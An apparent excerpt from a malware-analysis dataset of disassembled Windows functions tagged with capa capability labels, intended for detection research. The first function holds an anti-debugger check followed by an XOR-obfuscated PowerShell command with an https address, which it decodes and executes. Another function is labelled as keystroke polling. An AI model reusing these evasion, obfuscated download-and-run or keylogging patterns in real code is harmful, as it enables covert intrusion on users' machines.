joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000189a
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xf0
call sym.IsDebuggerPresentCheck
test eax, eax
je 0x1400018bc
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
movabs rax, 0x7479626374667e61
movabs rdx, 0x63417e5f3c317d7d
mov qword [rbp - 0xc0], rax
mov qword [rbp - 0xb8], rdx
movabs rax, 0x543c31747d78777e
movabs rdx, 0x7f7e786564727469
mov qword [rbp - 0xb0], rax
mov qword [rbp - 0xa8], rdx
movabs rax, 0x53316872787d7e41
movabs rdx, 0x523c316262706168
mov qword [rbp - 0xa0], rax
mov qword [rbp - 0x98], rdx
movabs rax, 0x3331757f707c7c7e
movabs rdx, 0x543c747a7e677f58
mov qword [rbp - 0x90], rax
mov qword [rbp - 0x88], rdx
movabs rax, 0x7e78626274636169
movabs rdx, 0x7a7e677f5839317f
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rdx
movabs rax, 0x745c656274433c74
movabs rdx, 0x65793631757e7965
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
movabs rax, 0x74653e3e2b626165
movabs rdx, 0x72747b7e63616562
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
movabs rax, 0x3f23212123212865
movabs rdx, 0x7f707f7e79656861
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
movabs rax, 0x723f746374796668
movabs rdx, 0x78657065623e7c7e
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x62613e7278657065
movabs rdx, 0x31333836767f613f
mov qword [rbp - 0x34], rax
mov qword [rbp - 0x2c], rdx
lea rax, [rbp - 0xc0]
mov qword [rbp - 0xd0], rax
mov dword [rbp - 0xc8], 0x9c
mov byte [rbp - 0xc4], 0x11
movzx eax, byte [rbp - 0xc4]
movzx ecx, al
mov edx, dword [rbp - 0xc8]
mov rax, qword [rbp - 0xd0]
mov r8d, ecx
mov rcx, rax
call sym.deobfuscate_string
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x140001ad1
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.strlen
add rax, 1
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
add rax, rax
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x140001aad
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x18]
mov r8, rcx
mov rcx, rax
call sym.mbstowcs
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.execCommand
mov rax, qword [rbp - 0x10]
lea rdx, [rax + rax]
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.RtlSecureZeroMemory
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.free
mov eax, dword [rbp - 0xc8]
add eax, 1
movsxd rdx, eax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.RtlSecureZeroMemory
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
nop
add rsp, 0xf0
pop rbp
ret

Function at 0x140001e40
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop
Function at 0x140002b12
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140009168]
test eax, eax
je 0x140002baa
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140009170]
mov qword [rbp - 8], rax
jmp 0x140002b8e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002b82
cmp qword [rbp - 0x10], 0
je 0x140002b82
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002b48
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002bab
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002cb0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002cd8
mov eax, 0
jmp 0x140002d26
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002d01
mov eax, 0
jmp 0x140002d26
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002d21
mov eax, 0
jmp 0x140002d26
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140002d2c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002daa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002da1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002da1
mov rax, qword [rbp - 8]
jmp 0x140002dbf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002d74
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14000456d
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
push r15
xor rax, rax
push rax
push rax
push rax
sub rsp, 0x28
push 0x400
pop rcx
call fcn.140010450
mov qword [rsp + 0x28], rax
push qword [0x14001d6f0]
sub rsp, 8
push qword [0x14001d6f0]
pop rcx
sub rsp, 0x20
call fcn.140010804
add rsp, 0x28
lea rcx, [rsp + 0x38]
pop rdx
call fcn.1400144b0
push qword [rsp + 0x28]
push 0
movabs rax, 0x14001b01e
push rax
push qword [rsp + 0x48]
pop rcx
pop rdx
pop r8
pop r9
call sub.KERNEL32.dll_GetTempFileNameA
push qword [0x14001d6f0]
sub rsp, 8
push qword [0x14001d6f0]
push qword [rsp + 0x40]
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140010520
add rsp, 0x28
lea rcx, [0x14001ccfc]
pop rdx
call fcn.1400144b0
push qword [rsp + 0x28]
pop rcx
call fcn.1400105a0
push qword [0x14001ccfc]
pop rcx
call fcn.1400108d0
push qword [0x14001ccfc]
pop rcx
call fcn.1400108d8
push qword [0x14001d6f0]
sub rsp, 8
push qword [0x14001d6f0]
pop rcx
sub rsp, 0x20
call fcn.1400106ec
add rsp, 0x28
lea rcx, [0x14001cbfc]
pop rdx
call fcn.1400144b0
push qword [rsp + 0x50]
pop rcx
call fcn.140010470
mov rax, rax
push rax
xor r15, r15
cmp r15, qword [rsp]
jne 0x1400046a8
mov rcx, qword [0x14001ccfc]
push qword [0x14001d6f0]
sub rsp, 0x20
call fcn.1400145d0
add rsp, 0x20
lea rcx, [0x14001cbfc]
pop rdx
sub rsp, 0x28
call fcn.1400144b0
add rsp, 0x28
mov qword [rsp + 0x40], 2
jmp 0x1400046be
mov r15, 1
cmp r15, qword [rsp]
jne 0x1400046be
mov qword [rsp + 0x40], 1
pop rax
mov r15, qword [rsp + 0x50]
add r15, qword [rsp + 0x38]
mov rax, r15
push rax
pop rcx
call fcn.140010470
mov qword [0x14001cc74], rax
mov r15, qword [rsp + 0x50]
add r15, qword [rsp + 0x38]
inc r15
mov rax, r15
push rax
pop rcx
call fcn.140010470
mov qword [0x14001ca94], rax
mov rax, 1
jmp 0x140004704
push rax
mov rcx, qword [rsp + 0x38]
sub rsp, 0x28
call fcn.1400146b0
add rsp, 0x28
pop rax
add rsp, 0x40
pop r15
ret
Function at 0x14000590c
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
mov r15, qword [0x14001cc74]
cmp r15, 1
jne 0x1400059f2
push qword [0x14001cd64]
pop rcx
call fcn.14000c0b0
mov r15, rax
and r15, r15
jle 0x140005988
mov rcx, qword [0x14001cd64]
call fcn.14000c0b8
mov rcx, qword [0x14001cd64]
call fcn.14000c0cc
or rax, rax
je 0x140005988
mov rbp, qword [0x14001cd6c]
push qword [rbp + 0x10]
pop rcx
call fcn.140012930
mov r15, rax
movsxd rax, dword [rbp + 0x18]
cmp r15, rax
jne 0x140005986
mov rbp, qword [0x14001cd6c]
push qword [rbp + 0x10]
pop rcx
call fcn.1400108d0
jmp 0x140005949
push qword [0x14001cd74]
pop rcx
call fcn.14000c0b0
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x1400059f2
push 5
push 0
push 1
push qword [0x14001cd74]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140009170
mov rcx, qword [0x14001cd74]
call fcn.14000c0b8
mov rcx, qword [0x14001cd74]
call fcn.14000c0cc
or rax, rax
je 0x1400059f2
mov rbp, qword [0x14001cd7c]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.dll_RemoveDirectoryA
jmp 0x1400059cf
mov rax, 1
jmp 0x1400059fe
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x140009b30
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
test ecx, ecx
je 0x140009ba7
movsxd rdx, ecx
lea rcx, [0x140009a8c]
call qword [sym.imp.USER32.DLL_EnumWindows]
mov rbx, qword [0x14001cd90]
test rbx, rbx
je 0x140009c1a
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x140009b9d
cmp byte [rbx + 0x20], 0
je 0x140009b9d
mov rcx, qword [rbx + 0x18]
xor r9d, r9d
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea rdx, [r9 - 2]
xor r8d, r8d
call qword [sym.imp.USER32.DLL_SetWindowPos]
mov rbx, rdi
test rdi, rdi
jne 0x140009b63
jmp 0x140009c1a
mov rbx, qword [0x14001cd90]
test rbx, rbx
je 0x140009c1a
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x140009c12
cmp byte [rbx + 0x21], 0
je 0x140009bd6
mov rcx, qword [rbx + 0x18]
mov edx, 1
call qword [sym.imp.USER32.DLL_EnableWindow]
cmp byte [rbx + 0x20], 0
je 0x140009c02
mov rcx, qword [rbx + 0x18]
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
or rdx, 0xffffffffffffffff
call qword [sym.imp.USER32.DLL_SetWindowPos]
lea rdx, [rbx + 0x10]
lea rcx, [0x14001cd90]
call fcn.140013e94
mov rbx, rdi
test rdi, rdi
jne 0x140009bb3
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x140009cf4
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [0x14001d730]
call fcn.14001363c
xor ebx, ebx
or esi, 0xffffffff
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dl, byte [rax]
test dl, dl
je 0x140009dba
mov rcx, qword [rsp + 0x30]
mov r10b, 0x20
lea r9d, [rbx + 1]
cmp dl, r10b
jne 0x140009d48
add rax, r9
cmp byte [rax], r10b
je 0x140009d40
mov dl, byte [rax]
mov r8d, r9d
cmp dl, 0x22
jne 0x140009d7e
add rax, r9
mov rbx, rax
mov cl, byte [rax]
test cl, cl
je 0x140009d79
cmp cl, 0x22
je 0x140009d6c
add rax, r9
mov cl, byte [rax]
test cl, cl
jne 0x140009d5e
cmp byte [rax], 0
je 0x140009d79
mov rcx, rax
add rax, r9
jmp 0x140009da0
mov rcx, rax
jmp 0x140009da0
test dl, dl
je 0x140009d9d
mov rbx, rax
cmp dl, r10b
je 0x140009d93
add rax, r9
mov dl, byte [rax]
test dl, dl
jne 0x140009d85
cmp byte [rax], 0
mov rcx, rax
je 0x140009da0
jmp 0x140009d74
xor r8d, r8d
cmp dword [rbp], esi
jne 0x140009daa
test rdi, rdi
jne 0x140009dc4
test r8d, r8d
je 0x140009db2
add esi, r9d
mov dl, byte [rax]
xor ebx, ebx
test dl, dl
jne 0x140009d3b
test rdi, rdi
jne 0x140009dd6
movsxd rax, esi
jmp 0x140009dd9
test rbx, rbx
je 0x140009dd6
sub ecx, ebx
mov rax, rbx
mov dword [rdi], ecx
add dword [rbp], r9d
jmp 0x140009dd9
and dword [rdi], 0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140009eb4
Capabilities:
Accept command line arguments

Disassembly:
sub rsp, 0x28
mov rcx, qword [0x14001d730]
call fcn.14001363c
xor ecx, ecx
add rsp, 0x28
jmp fcn.140009cf4

Function at 0x140009fa8
Capabilities:
Set environment variable

Disassembly:
sub rsp, 0x28
mov rax, rdx
test rcx, rcx
je 0x140009fc8
test rax, rax
lea rdx, [0x1400196a2]
cmovne rdx, rax
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
add rsp, 0x28
ret
Function at 0x14000a814
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov r14, qword [rsp + 0x80]
or rbp, 0xffffffffffffffff
xor edi, edi
mov rsi, r9
mov r15, r8
mov r12, rdx
mov rbx, rcx
test r9, r9
je 0x14000a86f
cmp byte [r9], dil
je 0x14000a86f
mov rcx, r9
call fcn.140015120
mov rcx, rbx
mov rdx, rax
mov rsi, rax
call fcn.14000afa0
mov rdi, rax
jmp 0x14000a884
cmp dword [rcx + 0x10], edi
je 0x14000a976
movsxd rcx, dword [rcx + 0x18]
mov rax, qword [rbx + 8]
mov rdi, qword [rax + rcx*8]
test rdi, rdi
je 0x14000a976
test r14, r14
je 0x14000a8aa
mov r8, qword [rdi]
mov rcx, qword [0x14001ca7c]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, qword [rdi]
mov r12, rax
test r12, r12
je 0x14000a976
cmp r15, qword [rdi]
jl 0x14000a976
mov edx, dword [rdi + 0x10]
mov rcx, qword [rbx]
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r8, qword [rdi + 8]
cmp r8, qword [rdi]
jne 0x14000a906
mov r8d, dword [rdi]
mov rcx, qword [rbx]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x80]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_ReadFile]
movsxd r11, dword [rsp + 0x80]
cmp qword [rdi], r11
jne 0x14000a976
mov rbp, r11
jmp 0x14000a976
mov rcx, qword [0x14001ca7c]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
test rax, rax
je 0x14000a976
mov r8d, dword [rdi + 8]
mov rcx, qword [rbx]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x80]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
movsxd r11, dword [rsp + 0x80]
cmp qword [rdi + 8], r11
jne 0x14000a964
mov rbx, qword [rdi]
mov r8, r15
mov rdx, r12
mov rcx, r13
call fcn.14000b16c
movsxd rcx, eax
cmp rcx, rbx
cmove rbp, rbx
mov rcx, qword [0x14001ca7c]
mov r8, r13
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r14, r14
je 0x14000a9a5
cmp rbp, 0xffffffffffffffff
jne 0x14000a99c
test r12, r12
je 0x14000a998
mov rcx, qword [0x14001ca7c]
mov r8, r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ebp, ebp
jmp 0x14000a9a5
mov rcx, qword [rdi]
mov rbp, r12
mov qword [r14], rcx
test rsi, rsi
je 0x14000a9b7
cmp byte [rsi], 0
je 0x14000a9b7
mov rcx, rsi
call fcn.140015200
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
mov rax, rbp
mov rbp, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14000aac0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov r12, rcx
mov rcx, r9
mov rsi, r8
mov r15, rdx
xor ebx, ebx
call fcn.140015120
mov rcx, qword [0x14001ca7c]
lea edi, [rsi + 0x18]
xor edx, edx
movsxd r8, edi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
test rax, rax
je 0x14000abe5
mov r9d, edi
mov r8, rax
mov edx, esi
mov rcx, r15
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 5
call fcn.14000b1f4
movsxd rdi, eax
test eax, eax
je 0x14000ab44
cmp rdi, rsi
jge 0x14000ab44
mov r15, r13
jmp 0x14000ab46
mov edi, esi
mov rcx, r14
call sub.msvcrt.dll_strlen
mov rcx, qword [r12]
lea r9, [rbp + 0x30]
mov word [rbp - 0x10], ax
movsxd rax, edi
lea rdx, [rbp - 0x20]
mov r8d, 0x12
mov qword [rbp - 0x20], rsi
mov qword [rsp + 0x20], rbx
mov qword [rbp - 0x18], rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rbp + 0x30], 0x12
jne 0x14000abcb
movsx r8d, word [rbp - 0x10]
mov rcx, qword [r12]
lea r9, [rbp + 0x30]
mov rdx, r14
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
movsx r11d, word [rbp - 0x10]
cmp r11d, dword [rbp + 0x30]
jne 0x14000abcb
mov rcx, qword [r12]
lea r9, [rbp + 0x30]
mov r8d, edi
mov rdx, r15
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp edi, dword [rbp + 0x30]
mov eax, 1
cmove rbx, rax
mov rcx, r12
call fcn.14000ada8
mov rcx, qword [0x14001ca7c]
mov r8, r13
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r14
call fcn.140015200
lea r11, [rsp + 0x50]
mov rax, rbx
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14000ae14
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
mov rbp, rsp
sub rsp, 0x60
cmp qword [rcx + 8], 0
mov rbx, rcx
mov esi, 0x40
jne 0x14000af88
mov rcx, qword [0x14001ca7c]
xor edx, edx
mov r8d, 0x200
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
and dword [rbx + 0x14], 0
lea edi, [rsi - 0x3c]
mov qword [rbx + 8], rax
mov edx, edi
xor r9d, r9d
mov rcx, qword [rbx]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
and qword [rsp + 0x20], 0
cmp dword [rbx + 0x1c], 0x706c7a31
mov rcx, qword [rbx]
lea r9, [rbp + 0x20]
jne 0x14000aeb7
lea rdx, [rbp - 0x18]
mov r8d, 0x18
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [rbp + 0x20], 0x18
jne 0x14000af88
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x28], rax
movzx eax, word [rbp - 8]
mov word [rbp - 0x20], ax
jmp 0x14000aed1
lea rdx, [rbp - 0x30]
mov r8d, 0x12
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [rbp + 0x20], 0x12
jne 0x14000af88
cmp dword [rbx + 0x14], esi
jl 0x14000aefa
mov r8, qword [rbx + 8]
mov rcx, qword [0x14001ca7c]
add esi, 0x40
movsxd r9, esi
mov edx, 8
shl r9, 3
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov qword [rbx + 8], rax
movsx r8, word [rbp - 0x20]
mov rcx, qword [0x14001ca7c]
xor edx, edx
add r8, 0x19
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbp - 0x30]
and qword [rsp + 0x20], 0
mov qword [rax], rcx
mov rcx, qword [rbp - 0x28]
lea rdx, [rax + 0x14]
mov qword [rax + 8], rcx
movsx r8d, word [rbp - 0x20]
mov rcx, qword [rbx]
lea r9, [rbp + 0x20]
mov r12, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
movsx r11, word [rbp - 0x20]
mov byte [r11 + r12 + 0x14], 0
cmp dword [rbx + 0x1c], 0x706c7a31
movsx rax, word [rbp - 0x20]
jne 0x14000af5f
lea edi, [rdi + rax + 0x18]
jmp 0x14000af63
lea edi, [rdi + rax + 0x12]
mov dword [r12 + 0x10], edi
movsxd rcx, dword [rbx + 0x14]
add edi, dword [rbp - 0x28]
mov rax, qword [rbx + 8]
mov r9d, 1
mov qword [rax + rcx*8], r12
inc dword [rbx + 0x14]
mov edx, dword [rbp - 0x28]
jmp 0x14000ae61
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret

Function at 0x14000cf24
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ebx, edx
mov rdx, rcx
mov rcx, qword [0x14001d8f0]
call fcn.140013554
mov rsi, rax
test rax, rax
je 0x14000cf9d
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 0x28]
test rax, rax
je 0x14000cf62
mov edx, ebx
mov rcx, rsi
call rax
jmp 0x14000cf9d
mov rcx, qword [rsi]
call qword [sym.imp.USER32.DLL_GetWindowTextLengthA]
mov edx, ebx
mov ecx, eax
mov edi, eax
call fcn.140014730
lea r8d, [rdi + 1]
mov byte [rax], 0
mov rcx, qword [rsi]
mov rdx, rax
mov rbx, rax
call qword [sym.imp.USER32.DLL_GetWindowTextA]
mov rcx, rbx
call sub.msvcrt.dll_strlen
sub edi, eax
mov ecx, edi
call fcn.1400148d0
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14000d48c
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
lea rcx, [rsp + 0x20]
mov ebx, 0xc8
mov dword [rsp + 0x20], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x14000d5a1
mov eax, dword [rsp + 0x30]
dec eax
je 0x14000d57e
dec eax
jne 0x14000d5a1
lea rcx, [rsp + 0xc0]
xor edi, edi
mov dword [rsp + 0xc0], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x14000d4f9
lea eax, [rdi + 1]
cmp byte [rsp + 0x15a], al
cmove edi, eax
mov eax, dword [rsp + 0x24]
sub eax, 3
je 0x14000d577
dec eax
je 0x14000d570
dec eax
je 0x14000d546
dec eax
jne 0x14000d5a1
mov eax, dword [rsp + 0x28]
test eax, eax
je 0x14000d53a
dec eax
je 0x14000d52e
dec eax
jne 0x14000d5a1
neg edi
sbb ebx, ebx
and ebx, 0xfffffffb
add ebx, 0x5f
jmp 0x14000d5a1
neg edi
sbb ebx, ebx
and ebx, 0xfffffffb
add ebx, 0x55
jmp 0x14000d5a1
neg edi
sbb ebx, ebx
and ebx, 0xfffffffb
add ebx, 0x4b
jmp 0x14000d5a1
mov eax, dword [rsp + 0x28]
test eax, eax
je 0x14000d569
dec eax
je 0x14000d562
dec eax
jne 0x14000d5a1
neg edi
sbb ebx, ebx
and ebx, 0xfffffffb
add ebx, 0x41
jmp 0x14000d5a1
mov ebx, 0x3c
jmp 0x14000d5a1
mov ebx, 0x32
jmp 0x14000d5a1
mov ebx, 0x14
jmp 0x14000d5a1
mov ebx, 5
jmp 0x14000d5a1
mov eax, dword [rsp + 0x28]
test eax, eax
je 0x14000d59c
cmp eax, 0xa
je 0x14000d595
cmp eax, 0x5a
jne 0x14000d5a1
lea ebx, [rax - 0x32]
jmp 0x14000d5a1
mov ebx, 0x1e
jmp 0x14000d5a1
mov ebx, 0xa
movsxd rax, ebx
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
Function at 0x14000e8ac
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.USER32.DLL_GetFocus]
mov rdi, rax
test rax, rax
je 0x14000e955
mov ecx, 9
call qword [sym.imp.USER32.DLL_GetKeyState]
test al, al
jns 0x14000e955
mov ecx, 0x11
call qword [sym.imp.USER32.DLL_GetKeyState]
test al, al
js 0x14000e955
mov ecx, 0x10
call qword [sym.imp.USER32.DLL_GetKeyState]
test al, al
js 0x14000e955
mov ecx, 0x12
call qword [sym.imp.USER32.DLL_GetKeyState]
test al, al
js 0x14000e955
lea rdx, [rsp + 0x40]
mov r8d, 5
mov rcx, rdi
call qword [sym.imp.USER32.DLL_GetClassNameA]
lea rdx, str.Rich
lea rcx, [rsp + 0x40]
mov r8d, 4
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x14000e955
xor r9d, r9d
xor r8d, r8d
mov edx, 0x44e
mov rcx, rdi
call qword [sym.imp.USER32.DLL_SendMessageA]
bt rax, 0xb
jae 0x14000e9ff
test rbx, rbx
je 0x14000e994
mov ecx, 0x11
call qword [sym.imp.USER32.DLL_GetKeyState]
test al, al
js 0x14000e987
mov ecx, 0x10
call qword [sym.imp.USER32.DLL_GetKeyState]
test al, al
js 0x14000e987
mov ecx, 0x12
call qword [sym.imp.USER32.DLL_GetKeyState]
test al, al
jns 0x14000e994
mov edx, 1
mov rcx, rbx
call fcn.14000e858
test rdi, rdi
je 0x14000e9ae
lea rdx, str.PB_Hotkey
mov rcx, rdi
call qword [sym.imp.USER32.DLL_GetPropA]
test rax, rax
jne 0x14000e9ff
lea rdx, str.PB_WindowID
mov rcx, rbx
call qword [sym.imp.USER32.DLL_GetPropA]
mov rdi, rax
test rax, rax
je 0x14000e9ff
lea rdx, [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.USER32.DLL_GetWindowThreadProcessId]
test eax, eax
je 0x14000e9ff
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x38], eax
jne 0x14000e9ff
mov rcx, qword [0x14001d910]
lea rdx, [rdi - 1]
call fcn.140013554
test rax, rax
je 0x14000e9ff
mov rax, qword [rax + 0x10]
jmp 0x14000ea01
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400106d4
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x14001da90], eax
add rsp, 0x28
ret

Function at 0x1400106ec
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov edx, ecx
